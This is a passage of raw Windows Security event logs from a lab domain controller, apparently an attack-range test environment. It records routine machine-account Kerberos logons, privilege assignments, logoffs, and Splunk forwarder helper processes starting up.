			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:57:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256086
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3AD9D0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:57:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256085
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3AD9D0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:57:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256084
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3AD8A5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51194

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:57:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256083
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3AD8A5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:57:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256082
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd20
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:57:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256095
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11f0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:57:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256094
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb8c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:57:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256096
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11a4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:57:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256097
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x328
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:57:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256098
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa50
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:57:21 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256099
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3ADA8A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:57:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256102
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3B0526

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:57:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256101
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3B0526
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51207

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:57:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256100
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3B0526

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:58:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256103
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe2c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:58:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256105
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1128
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:58:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256104
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5c0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:58:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256106
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf6c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:58:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256107
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x548
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:58:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256108
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7ac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:58:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256109
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8f4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:58:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256112
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3B3A8C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:58:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256111
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
